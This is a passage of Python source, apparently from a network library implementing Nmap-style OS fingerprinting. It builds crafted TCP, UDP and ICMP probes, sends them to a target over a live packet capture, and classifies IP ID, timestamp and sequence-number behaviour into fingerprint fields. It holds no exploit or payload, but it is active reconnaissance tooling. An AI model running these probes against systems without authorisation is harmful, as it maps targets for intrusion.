value. If the correct value of 0x148 (328) is \n        # returned, the value G (for good) is stored instead of the actual value.\n        if ip_orig.get_ip_len() == 0x148:\n            self.add_result(\"RIPL\",\"G\")\n        else:\n            self.add_result(\"RIPL\", \"%X\" % ip_orig.get_ip_len())\n\n        # Returned probe IP ID value (RID)\n        # The U1 probe has a static IP ID value of 0x1042. If that value is \n        # returned in the port unreachable message, the value G is stored for \n        # this test. Otherwise the exact value returned is stored. Some systems, \n        # such as Solaris, manipulate IP ID values for raw IP packets that \n        # Nmap sends. In such cases, this test is skipped. We have found \n        # that some systems, particularly HP and Xerox printers, flip the bytes \n        # and return 0x4210 instead. \n        if 0x1042 == ip_orig.get_ip_id():\n            self.add_result(\"RID\", \"G\")\n        else:\n            self.add_result(\"RID\", \"%X\" % ip_orig.get_ip_id())\n\n        # Integrity of returned probe IP checksum value (RIPCK)\n        # The IP checksum is one value that we don't expect to remain the same \n        # when returned in a port unreachable message. After all, each network \n        # hop during transit changes the checksum as the TTL is decremented. \n        # However, the checksum we receive should match the enclosing IP packet. \n        # If it does, the value G (good) is stored for this test. If the returned \n        # value is zero, then Z is stored. Otherwise the result is I (invalid).\n        ip_sum = ip_orig.get_ip_sum()\n        ip_orig.set_ip_sum(0)\n        checksum = ip_orig.compute_checksum(ip_orig.get_bytes())\n\n        if 0 == checksum:\n            self.add_result(\"RIPCK\", \"Z\")\n        elif checksum == ip_sum:\n            self.add_result(\"RIPCK\", \"G\")\n        else:\n            self.add_result(\"RIPCK\", \"I\")\n\n        # Integrity of returned probe UDP length and checksum (RUL and RUCK)\n        # The UDP header length and checksum values should be returned exactly \n        # as they were sent. If so, G is recorded for these tests. Otherwise \n        # the value actually returned is recorded. The proper length is 0x134 (308).\n        udp_sum = udp.get_uh_sum()\n        udp.set_uh_sum(0)\n        udp.auto_checksum = 1\n        udp.calculate_checksum()\n\n        if self.u.get_uh_sum() == udp_sum:\n            self.add_result(\"RUCK\", \"G\")\n        else:\n            self.add_result(\"RUCK\", \"%X\" % udp_sum)\n            \n        if udp.get_uh_ulen() == 0x134:\n            self.add_result(\"RUL\",\"G\")\n        else:\n            self.add_result(\"RUL\", \"%X\" % udp.get_uh_ulen())\n\n        # Integrity of returned UDP data (RUD)\n        # If the UDP payload returned consists of 300 'C' (0x43) \n        # characters as expected, a G is recorded for this test. \n        # Otherwise I (invalid) is recorded.\n        if ip.child().child().child().child() == udp.child():\n            self.add_result(\"RUD\", \"G\")\n        else:\n            self.add_result(\"RUD\", \"I\")\n\n    def get_final_result(self):\n        return {self.test_id(): self.get_result_dict()}        \n\nclass OS_ID:\n\n    def __init__(self, target, ports):\n        pcap_dev = lookupdev()\n        self.p = open_live(pcap_dev, 600, 0, 3000)\n        \n        self.__source = self.p.getlocalip()\n        self.__target = target\n        \n        self.p.setfilter(\"src host %s and dst host %s\" % (target, self.__source), 1, 0xFFFFFF00)\n        self.p.setmintocopy(10)\n        self.decoder = EthDecoder()\n        \n        self.tests_sent = []\n        self.outstanding_count = 0\n        self.results = {}\n        self.current_id = 12345\n\n        self.__ports = ports\n\n    def releasePcap(self):\n        if not (self.p is None):\n            self.p.close()\n\n    def get_new_id(self):\n        id = self.current_id\n        self.current_id += 1\n        self.current_id &= 0xFFFF\n        return id\n        \n    def send_tests(self, tests):\n        self.outstanding_count = 0\n        \n        for t_class in tests:\n\n            # Ok, I need to know if the constructor accepts the parameter port\n            # We could ask also by co_varnames, but the port parameters is not a standarized... asking by args count :(\n            if t_class.__init__.im_func.func_code.co_argcount == 4:\n                test = t_class(self.get_new_id(), [self.__source, self.__target], self.__ports )\n            else:\n                test = t_class(self.get_new_id(), [self.__source, self.__target] )\n\n            self.p.sendpacket(test.get_test_packet())\n            self.outstanding_count += 1\n            self.tests_sent.append(test)\n            while self.p.readready():\n                self.p.dispatch(1, self.packet_handler)\n\n        while self.outstanding_count > 0:\n            data = self.p.next()[0]\n            if data:\n                self.packet_handler(0, data)\n            else:                \n                break\n\n    def run(self):\n        pass\n\n    def get_source(self):\n        return self.__source\n\n    def get_target(self):\n        return self.__target\n\n    def get_ports(self):\n        return self.__ports\n\n    def packet_handler(self, len, data):\n        packet = self.decoder.decode(data)\n        \n        for t in self.tests_sent:\n            if t.is_mine(packet):\n                t.process(packet)\n                self.outstanding_count -= 1\n\n\nclass nmap1_tcp_open_1(nmap1_tcp_probe):\n    def __init__(self, id, addresses, tcp_ports):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)\n        self.t.set_ECE()\n        self.t.set_SYN()\n\n    def test_id(self):\n        return \"T1\"\n\n    def is_mine(self, packet):\n        if tcp_probe.is_mine(self, packet):\n            ip = packet.child()\n            if not ip:\n                return 0\n            tcp = ip.child()\n            if not tcp:\n                return 0\n            if tcp.get_SYN() and tcp.get_ACK():\n                return 1\n            else:\n                return 0\n        else:\n            return 0\n\n\nclass nmap1_tcp_open_2(nmap1_tcp_probe):\n    def __init__(self, id, addresses, tcp_ports):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)\n\n    def test_id(self):\n        return \"T2\"\n\nclass nmap2_tcp_open_2(nmap2_tcp_probe_2_6):\n    # From: https://nmap.org/book/osdetect-methods.html\n    # [...]\n    # T2 sends a TCP null (no flags set) packet with the IP DF bit set and a \n    # window field of 128 to an open port.\n    # ...\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)\n        self.i.set_ip_df(1)\n        self.t.set_th_win(128)\n\n    def test_id(self):\n        return \"T2\"\n\nclass nmap1_tcp_open_3(nmap1_tcp_probe):\n    def __init__(self, id, addresses, tcp_ports ):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)\n        self.t.set_SYN()\n        self.t.set_FIN()\n        self.t.set_URG()\n        self.t.set_PSH()\n\n    def test_id(self):\n        return \"T3\"\n\nclass nmap2_tcp_open_3(nmap2_tcp_probe_2_6):\n    # ...\n    # T3 sends a TCP packet with the SYN, FIN, URG, and PSH flags set and a \n    # window field of 256 to an open port. The IP DF bit is not set.\n    # ...\n    def __init__(self, id, addresses, tcp_ports ):\n        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)\n        self.t.set_SYN()\n        self.t.set_FIN()\n        self.t.set_URG()\n        self.t.set_PSH()\n        self.t.set_th_win(256)\n        self.i.set_ip_df(0)\n\n    def test_id(self):\n        return \"T3\"\n\nclass nmap1_tcp_open_4(nmap1_tcp_probe):\n    def __init__(self, id, addresses, tcp_ports):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)\n        self.t.set_ACK()\n\n    def test_id(self):\n        return \"T4\"\n\nclass nmap2_tcp_open_4(nmap2_tcp_probe_2_6):\n    # ...\n    # T4 sends a TCP ACK packet with IP DF and a window field of 1024 to \n    # an open port.\n    # ...\n    def __init__(self, id, addresses, tcp_ports ):\n        nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 1)\n        self.t.set_ACK()\n        self.i.set_ip_df(1)\n        self.t.set_th_win(1024)\n\n    def test_id(self):\n        return \"T4\"\n\n\nclass nmap1_seq(nmap1_tcp_probe):\n    SEQ_UNKNOWN = 0\n    SEQ_64K = 1\n    SEQ_TD = 2\n    SEQ_RI = 4\n    SEQ_TR = 8\n    SEQ_i800 = 16\n    SEQ_CONSTANT = 32\n\n    TS_SEQ_UNKNOWN = 0\n    TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0\n    TS_SEQ_2HZ = 2\n    TS_SEQ_100HZ = 3\n    TS_SEQ_1000HZ = 4\n    TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp\n\n    IPID_SEQ_UNKNOWN = 0\n    IPID_SEQ_INCR = 1  # simple increment by one each time\n    IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms\n    IPID_SEQ_RPI = 3 # Goes up each time but by a \"random\" positive increment\n    IPID_SEQ_RD = 4 # Appears to select IPID using a \"random\" distributions (meaning it can go up or down)\n    IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates\n    IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this)\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 1)\n        self.t.set_SYN()\n        self.t.set_th_seq(id) # Used to match results with sent packets.\n\n    def process(self, p):\n        raise Exception(\"Method process is meaningless for class %s.\" % self.__class__.__name__)\n\n\nclass nmap2_seq(nmap2_tcp_probe):\n    TS_SEQ_UNKNOWN = 0\n    TS_SEQ_ZERO = 1 # At least one of the timestamps we received back was 0\n    TS_SEQ_UNSUPPORTED = 5 # System didn't send back a timestamp\n\n    IPID_SEQ_UNKNOWN = 0\n    IPID_SEQ_INCR = 1  # simple increment by one each time\n    IPID_SEQ_BROKEN_INCR = 2 # Stupid MS -- forgot htons() so it counts by 256 on little-endian platforms\n    IPID_SEQ_RPI = 3 # Goes up each time but by a \"random\" positive increment\n    IPID_SEQ_RD = 4 # Appears to select IPID using a \"random\" distributions (meaning it can go up or down)\n    IPID_SEQ_CONSTANT = 5 # Contains 1 or more sequential duplicates\n    IPID_SEQ_ZERO = 6 # Every packet that comes back has an IP.ID of 0 (eg Linux 2.4 does this)\n\n    def __init__(self, id, addresses, tcp_ports, options):\n        nmap2_tcp_probe.__init__(self, id, addresses, tcp_ports, 1, \n                                 id, options)\n        self.t.set_SYN()\n\n    def process(self, p):\n        raise Exception(\"Method process is meaningless for class %s.\" % self.__class__.__name__)\n\nclass nmap2_seq_1(nmap2_seq):\n    # Packet #1: window scale (10), \n    #            NOP, \n    #            MSS (1460), \n    #            timestamp (TSval: 0xFFFFFFFF; TSecr: 0), \n    #            SACK permitted. \n    # The window field is 1.\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_WINDOW, 10),\n        TCPOption(TCPOption.TCPOPT_NOP),\n        TCPOption(TCPOption.TCPOPT_MAXSEG, 1460),\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)\n    ]\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)\n        self.t.set_th_win(1)\n\nclass nmap2_seq_2(nmap2_seq):\n    # Packet #2: MSS (1400), \n    #            window scale (0), \n    #            SACK permitted, \n    #            timestamp (TSval: 0xFFFFFFFF; TSecr: 0), \n    #            EOL. \n    # The window field is 63.\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_MAXSEG, 1400),\n        TCPOption(TCPOption.TCPOPT_WINDOW, 0),\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),\n        TCPOption(TCPOption.TCPOPT_EOL)\n    ]\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)\n        self.t.set_th_win(63)\n\nclass nmap2_seq_3(nmap2_seq):\n    # Packet #3: Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), \n    #            NOP, \n    #            NOP, \n    #            window scale (5), \n    #            NOP, \n    #            MSS (640). \n    # The window field is 4.\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),\n        TCPOption(TCPOption.TCPOPT_NOP),\n        TCPOption(TCPOption.TCPOPT_NOP),\n        TCPOption(TCPOption.TCPOPT_WINDOW, 5),\n        TCPOption(TCPOption.TCPOPT_NOP),\n        TCPOption(TCPOption.TCPOPT_MAXSEG, 640)\n    ]\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)\n        self.t.set_th_win(4)\n\nclass nmap2_seq_4(nmap2_seq):\n    # Packet #4: SACK permitted, \n    #            Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), \n    #            window scale (10), \n    #            EOL. \n    # The window field is 4.\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),\n        TCPOption(TCPOption.TCPOPT_WINDOW, 10),\n        TCPOption(TCPOption.TCPOPT_EOL)\n    ]\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)\n        self.t.set_th_win(4)\n    \nclass nmap2_seq_5(nmap2_seq):\n    # Packet #5: MSS (536), \n    #            SACK permitted,\n    #            Timestamp (TSval: 0xFFFFFFFF; TSecr: 0), \n    #            window scale (10), \n    #            EOL. \n    # The window field is 16.\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_MAXSEG, 536),\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF),\n        TCPOption(TCPOption.TCPOPT_WINDOW, 10),\n        TCPOption(TCPOption.TCPOPT_EOL)\n    ]\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)\n        self.t.set_th_win(16)\n    \nclass nmap2_seq_6(nmap2_seq):\n    # Packet #6: MSS (265), \n    #            SACK permitted, \n    #            Timestamp (TSval: 0xFFFFFFFF; TSecr: 0). \n    # The window field is 512.\n    tcp_options = [\n        TCPOption(TCPOption.TCPOPT_MAXSEG, 265),\n        TCPOption(TCPOption.TCPOPT_SACK_PERMITTED),\n        TCPOption(TCPOption.TCPOPT_TIMESTAMP, 0xFFFFFFFF)\n    ]\n\n    def __init__(self, id, addresses, tcp_ports):\n        nmap2_seq.__init__(self, id, addresses, tcp_ports, self.tcp_options)\n        self.t.set_th_win(512)\n\nclass nmap1_seq_container(os_id_test):\n    def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs):\n        os_id_test.__init__(self, 0)\n\n        self.num_seq_samples = num_seq_samples\n        self.seq_responses = responses\n        self.seq_num_responses = len(responses)\n        self.seq_diffs = seq_diffs\n        self.ts_diffs = ts_diffs\n        self.time_diffs = time_diffs\n        self.pre_ts_seqclass = nmap1_seq.TS_SEQ_UNKNOWN\n\n    def test_id(self):\n        return \"TSEQ\"\n\n    def set_ts_seqclass(self, ts_seqclass):\n        self.pre_ts_seqclass = ts_seqclass\n\n    def process(self):\n        ipid_seqclass = self.ipid_sequence()\n        if nmap1_seq.TS_SEQ_UNKNOWN != self.pre_ts_seqclass:\n            ts_seqclass = self.pre_ts_seqclass\n        else:\n            ts_seqclass = self.ts_sequence()\n        \n        if self.seq_num_responses >= 4:\n            seq_seqclass = self.seq_sequence()\n            if nmap1_seq.SEQ_UNKNOWN != seq_seqclass:\n                self.add_seqclass(seq_seqclass)\n            if nmap1_seq.IPID_SEQ_UNKNOWN != ipid_seqclass:\n                self.add_ipidclass(ipid_seqclass)\n            if nmap1_seq.TS_SEQ_UNKNOWN != ts_seqclass:\n                self.add_tsclass(ts_seqclass)\n        else:\n            LOG.error(\"Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate.\"\n                           % (self.seq_num_responses, self.num_seq_samples))\n\n    def get_final_result(self):\n        \"Returns a string representation of the final result of this test or None if no response was received\"\n        return {self.test_id(): self.get_result_dict()}\n\n    def ipid_sequence(self):\n        if self.seq_num_responses < 2:\n            return nmap1_seq.IPID_SEQ_UNKNOWN\n\n        ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1))\n\n        null_ipids = 1\n        for i in xrange(1, self.seq_num_responses):\n            prev_ipid = self.seq_responses[i-1].get_ipid()\n            cur_ipid = self.seq_responses[i].get_ipid()\n\n            if cur_ipid < prev_ipid and (cur_ipid > 500 or prev_ipid < 65000):\n                return nmap1_seq.IPID_SEQ_RD\n\n            if prev_ipid != 0 or cur_ipid != 0:\n                null_ipids = 0\n            ipid_diffs[i-1] = abs(cur_ipid - prev_ipid)\n\n        if null_ipids:\n            return nmap1_seq.IPID_SEQ_ZERO\n\n        # Battle plan:\n        # If any diff is > 1000, set to random, if 0, set to constant.\n        # If any of the diffs are 1, or all are less than 9, set to incremental.\n\n        for i in xrange(0, self.seq_num_responses - 1):\n            if ipid_diffs[i] > 1000:\n                return nmap1_seq.IPID_SEQ_RPI\n            if ipid_diffs[i] == 0:\n                return nmap1_seq.IPID_SEQ_CONSTANT\n\n        is_incremental = 1 # All diferences are less than 9\n        is_ms = 1 # All diferences are multiples of 256\n        for i in xrange(0, self.seq_num_responses - 1):\n            if ipid_diffs[i] == 1:\n                return nmap1_seq.IPID_SEQ_INCR\n            if is_ms and ipid_diffs[i] < 2560 and (ipid_diffs[i] % 256) != 0:\n                is_ms = 0\n            if ipid_diffs[i] > 9:\n                is_incremental = 0\n\n        if is_ms:\n            return nmap1_seq.IPID_SEQ_BROKEN_INCR\n        if is_incremental:\n            return nmap1_seq.IPID_SEQ_INCR\n\n        return nmap1_seq.IPID_SEQ_UNKNOWN\n\n    def ts_sequence(self):\n        if self.seq_num_responses < 2:\n            return nmap1_seq.TS_SEQ_UNKNOWN\n\n        # Battle plan:\n        # 1) Compute average increments per second, and variance in incr. per second.\n        # 2) If any are 0, set to constant.\n        # 3) If variance is high, set to random incr. [ skip for now ]\n        # 4) if ~10/second, set to appropriate thing.\n        # 5) Same with ~100/s.\n\n        avg_freq = 0.0\n        for i in xrange(0, self.seq_num_responses - 1):\n            dhz = self.ts_diffs[i] / self.time_diffs[i]\n            avg_freq += dhz / (self.seq_num_responses - 1)\n\n        LOG.info(\"The avg TCP TS HZ is: %f\" % avg_freq)\n\n        if 0 < avg_freq < 3.9:\n            return nmap1_seq.TS_SEQ_2HZ\n        if 85 < avg_freq < 115:\n            return nmap1_seq.TS_SEQ_100HZ\n        if 900 < avg_freq < 1100:\n            return nmap1_seq.TS_SEQ_1000HZ\n\n        return nmap1_seq.TS_SEQ_UNKNOWN\n\n    def seq_sequence(self):\n        self.seq_gcd = reduce(my_gcd, self.seq_diffs)\n        avg_incr = 0\n        seqclass = nmap1_seq.SEQ_UNKNOWN\n\n        if 0 != self.seq_gcd:\n            map(lambda x, gcd = self.seq_gcd: x / gcd, self.seq_diffs)\n            for i in xrange(0, self.seq_num_responses - 1):\n                if abs(self.seq_responses[i+1].get_seq() - self.seq_responses[i].get_seq()) > 50000000:\n                    seqclass = nmap1_seq.SEQ_TR;\n                    self.index = 9999999\n                    break\n                avg_incr += self.seq_diffs[i]\n\n        if 0 == self.seq_gcd:\n            seqclass = nmap1_seq.SEQ_CONSTANT\n            self.index = 0\n        elif 0 == self.seq_gcd % 64000:\n            seqclass = nmap1_seq.SEQ_64K\n            self.index = 1\n        elif 0 == self.seq_gcd % 800:\n            seqclass = nmap1_seq.SEQ_i800\n            self.index = 10\n        elif nmap1_seq.SEQ_UNKNOWN == seqclass:\n            avg_incr = int(.5 + avg_incr / (self.seq_num_responses - 1))\n            sum_incr = 0.0\n            for i in range(0, self.seq_num_responses - 1):\n                d = abs(self.seq_diffs[i] - avg_incr)\n                sum_incr += float(d * d)\n            sum_incr /= self.seq_num_responses - 1\n            self.index = int(.5 + math.sqrt(sum_incr))\n            if self.index < 75:\n                seqclass = nmap1_seq.SEQ_TD\n            else:\n                seqclass = nmap1_seq.SEQ_RI\n\n        return seqclass\n\n    seqclasses = {\n        nmap1_seq.SEQ_64K: '64K',\n        nmap1_seq.SEQ_TD: 'TD',\n        nmap1_seq.SEQ_RI: 'RI',\n        nmap1_seq.SEQ_TR: 'TR',\n        nmap1_seq.SEQ_i800: 'i800',\n        nmap1_seq.SEQ_CONSTANT: 'C',\n        }\n\n    def add_seqclass(self, id):\n        self.add_result('CLASS', nmap1_seq_container.seqclasses[id])\n\n        if nmap1_seq.SEQ_CONSTANT == id:\n            self.add_result('VAL', '%i' % self.seq_responses[0].get_seq())\n        elif id in (nmap1_seq.SEQ_TD, nmap1_seq.SEQ_RI):\n            self.add_result('GCD', '%i' % self.seq_gcd)\n            self.add_result('SI', '%i' % self.index)\n\n    tsclasses = {\n        nmap1_seq.TS_SEQ_ZERO: '0',\n        nmap1_seq.TS_SEQ_2HZ: '2HZ',\n        nmap1_seq.TS_SEQ_100HZ: '100HZ',\n        nmap1_seq.TS_SEQ_1000HZ: '1000HZ',\n        nmap1_seq.TS_SEQ_UNSUPPORTED: 'U',\n        }\n\n    def add_tsclass(self, id):\n        self.add_result('TS', nmap1_seq_container.tsclasses[id])\n\n    ipidclasses = {\n        nmap1_seq.IPID_SEQ_INCR: 'I',\n        nmap1_seq.IPID_SEQ_BROKEN_INCR: 'BI',\n        nmap1_seq.IPID_SEQ_RPI: 'RPI',\n        nmap1_seq.IPID_SEQ_RD: 'RD',\n        nmap1_seq.IPID_SEQ_CONSTANT: 'C',\n        nmap1_seq.IPID_SEQ_ZERO: 'Z',\n        }\n\n    def add_ipidclass(self, id):\n        self.add_result('IPID', nmap1_seq_container.ipidclasses[id])\n\n\nclass nmap2_seq_container(os_id_test):\n    def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs):\n        os_id_test.__init__(self, 0)\n\n        self.num_seq_samples = num_seq_samples\n        self.seq_responses = responses\n        self.seq_num_responses = len(responses)\n        self.seq_diffs = seq_diffs\n        self.ts_diffs = ts_diffs\n        self.time_diffs = time_diffs\n        self.pre_ts_seqclass = nmap2_seq.TS_SEQ_UNKNOWN\n\n    def test_id(self):\n        return \"SEQ\"\n\n    def set_ts_seqclass(self, ts_seqclass):\n        self.pre_ts_seqclass = ts_seqclass\n\n    def process(self):\n        if self.seq_num_responses >= 4:\n            self.calc_ti()\n            self.calc_ts()\n            self.calc_sp()\n        else:\n            self.add_result('R', 'N')\n            LOG.error(\"Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate.\"\n                           % (self.seq_num_responses, self.num_seq_samples))\n\n    def get_final_result(self):\n        return {self.test_id(): self.get_result_dict()}\n\n    def calc_ti(self):\n        if self.seq_num_responses < 2: \n            return\n\n        ipidclasses = {\n            nmap2_seq.IPID_SEQ_INCR: 'I',\n            nmap2_seq.IPID_SEQ_BROKEN_INCR: 'BI',\n            nmap2_seq.IPID_SEQ_RPI: 'RI',\n            nmap2_seq.IPID_SEQ_RD: 'RD',\n            nmap2_seq.IPID_SEQ_CONSTANT: 'C',\n            nmap2_seq.IPID_SEQ_ZERO: 'Z',\n        }\n\n        ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1))\n\n        # Random and zero\n        null_ipids = 1\n        for i in xrange(1, self.seq_num_responses):\n            prev_ipid = self.seq_responses[i-1].get_ipid()\n            cur_ipid = self.seq_responses[i].get_ipid()\n\n            if prev_ipid != 0 or cur_ipid != 0: \n                null_ipids = 0\n\n            if prev_ipid <= cur_ipid:\n                ipid_diffs[i-1] = cur_ipid - prev_ipid\n            else:\n                ipid_diffs[i-1] = (cur_ipid - prev_ipid + 65536) & 0xffff\n\n            if self.seq_num_responses > 2 and ipid_diffs[i-1] > 20000:\n                self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RD])\n                return\n\n        if null_ipids: \n            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_ZERO])\n            return\n\n        # Constant\n        all_zero = 1\n        for i in xrange(0, self.seq_num_responses - 1):\n            if ipid_diffs[i] != 0: \n                all_zero = 0\n                break\n\n        if all_zero:\n            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_CONSTANT])\n            return\n\n        # Random positive increments\n        for i in xrange(0, self.seq_num_responses - 1):\n            if ipid_diffs[i] > 1000 and \\\n               ((ipid_diffs[i] % 256 != 0) or \\\n                ((ipid_diffs[i] % 256 == 0) and (ipid_diffs[i] >= 25600))):\n                self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RPI])\n                return\n\n        # Broken Increment and Incremental\n        is_incremental = 1 # All diferences are less than 10\n        is_ms = 1 # All diferences are multiples of 256 and no greater than 5120\n        for i in xrange(0, self.seq_num_responses - 1):\n            if is_ms and ((ipid_diffs[i] > 5120) or (ipid_diffs[i] % 256) != 0): \n                is_ms = 0\n            if is_incremental and ipid_diffs[i] > 9: \n                is_incremental = 0\n\n        if is_ms: \n            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_BROKEN_INCR])\n        elif is_incremental: \n            self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_INCR])\n\n    def calc_ts(self):\n        # 1. If any of the responses have no timestamp option, TS \n        #    is set to U (unsupported).\n        # 2. If any of the timestamp values are zero, TS is set to 0.\n        # 3. If the average increments per second falls within the \n        #    ranges 0-5.66, 70-150, or 150-350, TS is set to 1, 7, or 8, \n        #    respectively. These three ranges get special treatment \n        #    because they correspond to the 2 Hz, 100 Hz, and 200 Hz \n        #    frequencies used by many hosts.\n        # 4. In all other cases, Nmap records the binary logarithm of \n        #    the average increments per second, rounded to the nearest \n        #    integer. Since most hosts use 1,000 Hz frequencies, A is \n        #    a common result.\n\n        if self.pre_ts_seqclass == nmap2_seq.TS_SEQ_ZERO: \n            self.add_result('TS', '0')\n        elif self.pre_ts_seqclass == nmap2_seq.TS_SEQ_UNSUPPORTED: \n            self.add_result('TS', 'U')\n        elif self.seq_num_responses < 2: \n            return\n\n        avg_freq = 0.0\n        for i in xrange(0, self.seq_num_responses - 1):\n            dhz = self.ts_diffs[i] / self.time_diffs[i]\n            avg_freq += dhz / (self.seq_num_responses - 1)\n\n        LOG.info(\"The avg TCP TS HZ is: %f\" % avg_freq)\n\n        if avg_freq <= 5.66: \n            self.add_result('TS', \"1\")\n        elif 70 < avg_freq <= 150:\n            self.add_result('TS', \"7\")\n        elif 150 < avg_freq <= 350:\n            self.add_result('TS', \"8\")\n        else:\n            ts = int(round(.5 + math.log(avg_freq)/math.log(2)))\n            self.add_result('TS', \"%X\" % ts)\n\n    def calc_sp(self):\n        seq_gcd = reduce(my_gcd, self.seq_diffs)\n\n        seq_avg_rate = 0.0\n        for i in xrange(0, self.seq_num_responses - 1):\n            seq_avg_rate += self.seq_diffs[i] / self.time_diffs[i]\n        seq_avg_rate /= (self.seq_num_responses - 1)\n\n        seq_rate = seq_avg_rate\n        si_index = 0\n        seq_stddev = 0\n\n        if 0 == seq_gcd:\n            seq_rate = 0\n        else:\n            seq_rate = int(round(.5 + (math.log(seq_rate) / math.log(2)) * 8))\n\n            div_gcd = 1\n            if seq_gcd > 9:\n                div_gcd = seq_gcd\n\n            for i in xrange(0, self.seq_num_responses - 1):\n                rtmp = (self.seq_diffs[i] / self.time_diffs[i]) / div_gcd - \\\n                       seq_avg_rate / div_gcd\n                seq_stddev += rtmp * rtmp\n\n            seq_stddev /= self.seq_num_responses - 2\n            seq_stddev = math.sqrt(seq_stddev)\n\n            if seq_stddev <= 1:\n                si_index = 0\n            else:\n                si_index = int(round(.5 + (math.log(seq_stddev) / math.log(2)) * 8.0))\n\n        self.add_result('SP', \"%X\" % si_index)\n        self.add_result('GCD', \"%X\" % seq_gcd)\n        self.add_result('ISR', \"%X\" % seq_rate)\n\nclass nmap2_ops_container(os_id_test):\n    def __init__(self, responses):\n        os_id_test.__init__(self, 0)\n\n        self.seq_responses = responses\n        self.seq_num_responses = len(responses)\n\n    def test_id(self):\n        return \"OPS\"\n\n    def process(self):\n        if self.seq_num_responses != 6:\n            self.add_result('R', 'N')\n            return\n\n        for i in xrange(0, self.seq_num_responses):\n            tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(),\n                                    self.seq_responses[i].get_tcp(),\n                                    0,\n                                    0)\n            self.add_result(\"O%i\" % (i+1), tests.get_options())\n\n    def get_final_result(self):\n        if not self.get_result_dict():\n            return None\n        else:\n            return {self.test_id(): self.get_result_dict()}\n\nclass nmap2_win_container(os_id_test):\n    def __init__(self, responses):\n        os_id_test.__init__(self, 0)\n\n        self.seq_responses = responses\n        self.seq_num_responses = len(responses)\n\n    def test_id(self):\n        return \"WIN\"\n\n    def process(self):\n        if self.seq_num_responses != 6:\n            self.add_result('R', 'N')\n            return\n\n        for i in xrange(0, self.seq_num_responses):\n            tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(),\n                                    self.seq_responses[i].get_tcp(),\n                                    0,\n                                    0)\n            self.add_result(\"W%i\" % (i+1), tests.get_win())\n\n    def get_final_result(self):\n        if not self.get_result_dict():\n            return None\n        else:\n            return {self.test_id(): self.get_result_dict()}\n\nclass nmap2_t1_container(os_id_test):\n    def __init__(self, responses, seq_base):\n        os_id_test.__init__(self, 0)\n\n        self.seq_responses = responses\n        self.seq_num_responses = len(responses)\n        self.seq_base = seq_base\n\n    def test_id(self):\n        return \"T1\"\n\n    def process(self):\n        # R, DF, T*, TG*, W-, S, A, F, O-, RD*, Q\n        if self.seq_num_responses < 1:\n            self.add_result(\"R\",\"N\")\n            return\n\n        response = self.seq_responses[0]\n        tests = nmap2_tcp_tests(response.get_ip(), \n                                response.get_tcp(), \n                                self.seq_base,\n                                nmap2_tcp_probe.acknowledgment)\n        self.add_result(\"R\", \"Y\")\n        self.add_result(\"DF\", tests.get_df())\n        self.add_result(\"S\", tests.get_seq())\n        self.add_result(\"A\", tests.get_ack())\n        self.add_result(\"F\", tests.get_flags())\n        self.add_result(\"Q\", tests.get_quirks())\n\n    def get_final_result(self):\n        if not self.get_result_dict():\n            return None\n        else:\n            return {self.test_id(): self.get_result_dict()}\n\nclass nmap2_icmp_container(os_id_test):\n    def __init__(self, responses):\n        os_id_test.__init__(self, 0)\n\n        self.icmp_responses = responses\n        self.icmp_num_responses = len(responses)\n\n    def test_id(self):\n        return \"IE\"\n\n    def process(self):\n        # R, DFI, T*, 